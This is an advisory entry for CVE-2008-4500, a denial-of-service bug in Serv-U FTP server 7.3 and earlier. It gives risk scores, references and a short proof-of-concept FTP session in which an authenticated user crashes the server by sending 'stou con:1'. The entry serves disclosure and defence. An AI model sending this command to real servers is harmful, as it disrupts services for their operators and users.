Serv-U <= 7.3 (stou con:1) Denial of Service Vulnerability (auth)

2008.10.10

Credit: dmnt

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-4500

CWE: CWE-20

CVSS Base Score: 4/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8/10

Exploit range: Remote

Attack complexity: Low

Authentication: Single time

Confidentiality impact: None

Integrity impact: None

Availability impact: Partial

#Serv-U <= 7.2.0.1 / 7.3 ftp server DoS
#user must have upload permissions
#
#(x) dmnt 2008-10-01
 
220 Serv-U FTP Server v7.3 ready...
user test
331 User name okay, need password.
pass test
230 User logged in, proceed.
stou con:1
quit
221 Goodbye, closing session.
# now server DoS'ed

References:

http://www.securityfocus.com/bid/31556

http://www.milw0rm.com/exploits/6660

http://www.frsirt.com/english/advisories/2008/2746

http://secunia.com/advisories/32150

See this note in RAW Version

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Serv-U <= 7.3 (stou con:1) Denial of Service Vulnerability (auth)

References:

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